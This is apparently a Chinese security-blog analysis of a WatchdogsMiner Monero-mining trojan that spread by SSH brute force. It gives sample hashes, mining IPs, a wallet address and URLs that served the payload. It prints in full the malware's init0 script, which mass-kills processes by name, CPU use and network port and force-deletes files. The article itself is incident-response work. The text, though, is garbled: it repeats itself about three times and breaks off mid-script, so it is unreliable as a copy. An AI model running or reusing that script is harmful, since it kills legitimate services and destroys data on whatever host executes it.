该木马通过SSH爆破,使用Linux系统的Shell脚本编写下载器,通过wget和curl命令下载“游戏组件dota2.tar.gz,实则是挖矿脚本组件,里面包含了强大的查杀其他挖矿木马的脚本,还有针对不同系统对应的挖矿木马。本文对该挖矿木马核心代码进行分析,便于从事安全事件响应的同行碰到相同类型的挖矿木马可以快速排查,定性安全威胁事件。

image.png

挖矿木马攻击流程

0×00 样本介绍

样本基本信息:

样本 MD5 内容
x15cache 1b9254279109722a034b7026cd8eb0e7 x15cache脚本下载挖矿程序包
anacron ef6aa42aa0fa26fb6ba8c0af02737585 32位挖矿程序
cron cd6d5fc0fbf8616a1387651432ee7b99 64位挖矿程序

0×01 详细分析

x15cache脚本的脚本内容如下所示,主要作用是下载dota2.tar.gz包,并且执行挖矿程序。

3.png

dota2.tar.gz包含了如下文件:

17.png

a为脚本文件,作用是删除crontab文件,生成upd并赋权,upd去执行run,run去执行真正的挖矿程序。

18.png

run脚本文件为启动xmr挖矿病毒的脚本,首先执行stop结束脚本,ARCH获取系统版本,根据版本执行对应的挖矿程序。

16.pngstop脚本文件为挖矿结束脚本。

19.png

对anacron和cron文件进行分析,它们分别是32位和64位的挖矿程序,下面以32位的WatchdogMiner变种样本为例分析,通过代码分析该挖矿程序是基于XMRig 2.14.1开源项目开发的。

当参数为1时,挖矿算法支持为cryptonight,支持nicehash.com。

11.png

挖矿时挖矿配置如下,设置算法为cryptonight,并且启用nicehash.com支持。

15.png

当参数为2时,矿机程序采用开源挖矿软件XMRig 2.14.1版本编译。

12.png

流量解析提取如下:

15.png

挖矿程序使用的IP地址如下:

5.255.86.129:80挖矿行为

7.png

107.191.99.221:80挖矿行为

8.png

workforce.ignorelist.com挖矿行为

9.png

XMR钱包地址:

45UcbvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7
bDebx51LCuDQYyhFgVbUMhc4qY14CQ

10.png

dota2.tar.gz包含init0脚本,用于Linux环境下查杀加密货币矿工的脚本,清理CPU占用高的进程,清理各类挖矿矿池进程,还清理其他恶意程序,如”kworkerds”,”ddgs”等挖矿程序,脚本内容如下。

#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
	killme() {
	  killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
	}

	killa() {
	what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
	}

	killa 34e2fg
	killme
	
	# Killing big CPU
	VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
	for word in $VAR
	do
	  CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
	  if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
	done

	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	
	# crond
	ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
	while read crondpid
	do
		if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $crondpid
			rm -rf /var/tmp/v3
		fi
	done < /tmp/crondpid
	rm /tmp/crondpid -f
	 
	# sshd
	ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
	while read sshdpid
	do
		if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $sshdpid
		fi
	done < /tmp/ssdpid
	rm -f /tmp/ssdpid

	# syslog
	ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
	while read syslogpid
	do
		if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill  $syslogpid
		fi
	done < /tmp/syslogspid
	rm /tmp/syslogspid -f

		ps x | grep 'b 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

		####################################################


		ps x | grep 'd 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

}

# Removing miners by known path IOC
files(){
	rm /tmp/.cron
	rm /tmp/.main
	rm /tmp/.yam* -rf
	rm -f /tmp/irq
	rm -f /tmp/irq.sh
	rm -f /tmp/irqbalanc1
	rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
	rm -rf /tmp/*httpd.conf
	rm -rf /tmp/*httpd.conf*
	rm -rf /tmp/*index_bak*
	rm -rf /tmp/.systemd-private-*
	rm -rf /tmp/.xm*
	rm -rf /tmp/a7b104c270
	rm -rf /tmp/conn
	rm -rf /tmp/conns
	rm -rf /tmp/httpd.conf
	rm -rf /tmp/java*
	rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
	rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
	rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
	rm -rf /tmp/xm*
	rm -rf /var/tmp/java*
}

# Killing and blocking miners by network related IOC
network(){
	# Kill by known ports/IPs
	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}	

files
processes
network
echo "DONE"

0×03 相关IOC

MD5

1b9254279109722a034b7026cd8eb0e7

ef6aa42aa0fa26fb6ba8c0af02737585

cd6d5fc0fbf8616a1387651432ee7b99

IP

118.25.7.83:36366

69.28.55.86:443

185.71.65.238

140.82.52.87

URL

http://54.37.70.249/.x15cache

http://54.37.70.249/dota2.tar.gz

http://54.37.70.249/fiatlux-1.0.0.apk

0×04 其他平台检测结果

Virustotal检测结果:

2.png

微步分析结果:

1.png

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

2019年5月27日清晨,捕获到一起挖矿木马行为,通过分析,定性为针对“门罗币”的WatchdogsMiner变种挖矿木马入侵事件。

该木马通过SSH爆破,使用Linux系统的Shell脚本编写下载器,通过wget和curl命令下载“游戏组件dota2.tar.gz,实则是挖矿脚本组件,里面包含了强大的查杀其他挖矿木马的脚本,还有针对不同系统对应的挖矿木马。本文对该挖矿木马核心代码进行分析,便于从事安全事件响应的同行碰到相同类型的挖矿木马可以快速排查,定性安全威胁事件。

image.png

挖矿木马攻击流程

0×00 样本介绍

样本基本信息:

样本 MD5 内容
x15cache 1b9254279109722a034b7026cd8eb0e7 x15cache脚本下载挖矿程序包
anacron ef6aa42aa0fa26fb6ba8c0af02737585 32位挖矿程序
cron cd6d5fc0fbf8616a1387651432ee7b99 64位挖矿程序

0×01 详细分析

x15cache脚本的脚本内容如下所示,主要作用是下载dota2.tar.gz包,并且执行挖矿程序。

3.png

dota2.tar.gz包含了如下文件:

17.png

a为脚本文件,作用是删除crontab文件,生成upd并赋权,upd去执行run,run去执行真正的挖矿程序。

18.png

run脚本文件为启动xmr挖矿病毒的脚本,首先执行stop结束脚本,ARCH获取系统版本,根据版本执行对应的挖矿程序。

16.pngstop脚本文件为挖矿结束脚本。

19.png

对anacron和cron文件进行分析,它们分别是32位和64位的挖矿程序,下面以32位的WatchdogMiner变种样本为例分析,通过代码分析该挖矿程序是基于XMRig 2.14.1开源项目开发的。

当参数为1时,挖矿算法支持为cryptonight,支持nicehash.com。

11.png

挖矿时挖矿配置如下,设置算法为cryptonight,并且启用nicehash.com支持。

15.png

当参数为2时,矿机程序采用开源挖矿软件XMRig 2.14.1版本编译。

12.png

流量解析提取如下:

15.png

挖矿程序使用的IP地址如下:

5.255.86.129:80挖矿行为

7.png

107.191.99.221:80挖矿行为

8.png

workforce.ignorelist.com挖矿行为

9.png

XMR钱包地址:

45UcbvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7
bDebx51LCuDQYyhFgVbUMhc4qY14CQ

10.png

dota2.tar.gz包含init0脚本,用于Linux环境下查杀加密货币矿工的脚本,清理CPU占用高的进程,清理各类挖矿矿池进程,还清理其他恶意程序,如”kworkerds”,”ddgs”等挖矿程序,脚本内容如下。

#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
	killme() {
	  killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
	}

	killa() {
	what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
	}

	killa 34e2fg
	killme
	
	# Killing big CPU
	VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
	for word in $VAR
	do
	  CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
	  if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
	done

	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	
	# crond
	ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
	while read crondpid
	do
		if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $crondpid
			rm -rf /var/tmp/v3
		fi
	done < /tmp/crondpid
	rm /tmp/crondpid -f
	 
	# sshd
	ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
	while read sshdpid
	do
		if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill $sshdpid
		fi
	done < /tmp/ssdpid
	rm -f /tmp/ssdpid

	# syslog
	ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
	while read syslogpid
	do
		if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
		then
			kill  $syslogpid
		fi
	done < /tmp/syslogspid
	rm /tmp/syslogspid -f

		ps x | grep 'b 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

		####################################################


		ps x | grep 'd 22'| awk '{print $1,$5}' > .procs

		cat .procs | while read line
		do

		pid=`echo $line | awk '{print $1;}'`
		name=`echo $line | awk '{print $2;}'`
		#echo $pid $name 

		if [ $(echo $name | wc -c) -lt "13" ]
			then
			echo "Found" $pid $name
			kill -9 $pid
		fi
		done

}

# Removing miners by known path IOC
files(){
	rm /tmp/.cron
	rm /tmp/.main
	rm /tmp/.yam* -rf
	rm -f /tmp/irq
	rm -f /tmp/irq.sh
	rm -f /tmp/irqbalanc1
	rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
	rm -rf /tmp/*httpd.conf
	rm -rf /tmp/*httpd.conf*
	rm -rf /tmp/*index_bak*
	rm -rf /tmp/.systemd-private-*
	rm -rf /tmp/.xm*
	rm -rf /tmp/a7b104c270
	rm -rf /tmp/conn
	rm -rf /tmp/conns
	rm -rf /tmp/httpd.conf
	rm -rf /tmp/java*
	rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
	rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
	rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
	rm -rf /tmp/xm*
	rm -rf /var/tmp/java*
}

# Killing and blocking miners by network related IOC
network(){
	# Kill by known ports/IPs
	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}	

files
processes
network
echo "DONE"

0×03 相关IOC

MD5

1b9254279109722a034b7026cd8eb0e7

ef6aa42aa0fa26fb6ba8c0af02737585

cd6d5fc0fbf8616a1387651432ee7b99

IP

118.25.7.83:36366

69.28.55.86:443

185.71.65.238

140.82.52.87

URL

http://54.37.70.249/.x15cache

http://54.37.70.249/dota2.tar.gz

http://54.37.70.249/fiatlux-1.0.0.apk

0×04 其他平台检测结果

Virustotal检测结果:

2.png

微步分析结果:

1.png

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

*本文原创作者:Sampson,本文属于FreeBuf原创奖励计划,未经许可禁止转载

2019年5月27日清晨,捕获到一起挖矿木马行为,通过分析,定性为针对“门罗币”的WatchdogsMiner变种挖矿木马入侵事件。

该木马通过SSH爆破,使用Linux系统的Shell脚本编写下载器,通过wget和curl命令下载“游戏组件dota2.tar.gz,实则是挖矿脚本组件,里面包含了强大的查杀其他挖矿木马的脚本,还有针对不同系统对应的挖矿木马。本文对该挖矿木马核心代码进行分析,便于从事安全事件响应的同行碰到相同类型的挖矿木马可以快速排查,定性安全威胁事件。

image.png

挖矿木马攻击流程

0×00 样本介绍

样本基本信息:

样本 MD5 内容
x15cache 1b9254279109722a034b7026cd8eb0e7 x15cache脚本下载挖矿程序包
anacron ef6aa42aa0fa26fb6ba8c0af02737585 32位挖矿程序
cron cd6d5fc0fbf8616a1387651432ee7b99 64位挖矿程序

0×01 详细分析

x15cache脚本的脚本内容如下所示,主要作用是下载dota2.tar.gz包,并且执行挖矿程序。

3.png

dota2.tar.gz包含了如下文件:

17.png

a为脚本文件,作用是删除crontab文件,生成upd并赋权,upd去执行run,run去执行真正的挖矿程序。

18.png

run脚本文件为启动xmr挖矿病毒的脚本,首先执行stop结束脚本,ARCH获取系统版本,根据版本执行对应的挖矿程序。

16.pngstop脚本文件为挖矿结束脚本。

19.png

对anacron和cron文件进行分析,它们分别是32位和64位的挖矿程序,下面以32位的WatchdogMiner变种样本为例分析,通过代码分析该挖矿程序是基于XMRig 2.14.1开源项目开发的。

当参数为1时,挖矿算法支持为cryptonight,支持nicehash.com。

11.png

挖矿时挖矿配置如下,设置算法为cryptonight,并且启用nicehash.com支持。

15.png

当参数为2时,矿机程序采用开源挖矿软件XMRig 2.14.1版本编译。

12.png

流量解析提取如下:

15.png

挖矿程序使用的IP地址如下:

5.255.86.129:80挖矿行为

7.png

107.191.99.221:80挖矿行为

8.png

workforce.ignorelist.com挖矿行为

9.png

XMR钱包地址:

45UcbvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7
bDebx51LCuDQYyhFgVbUMhc4qY14CQ

10.png

dota2.tar.gz包含init0脚本,用于Linux环境下查杀加密货币矿工的脚本,清理CPU占用高的进程,清理各类挖矿矿池进程,还清理其他恶意程序,如”kworkerds”,”ddgs”等挖矿程序,脚本内容如下。

#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
	killme() {
	  killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
	}

	killa() {
	what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
	}

	killa 34e2fg
	killme
	
	# Killing big CPU
	VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
	for word in $VAR
	do
	  CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
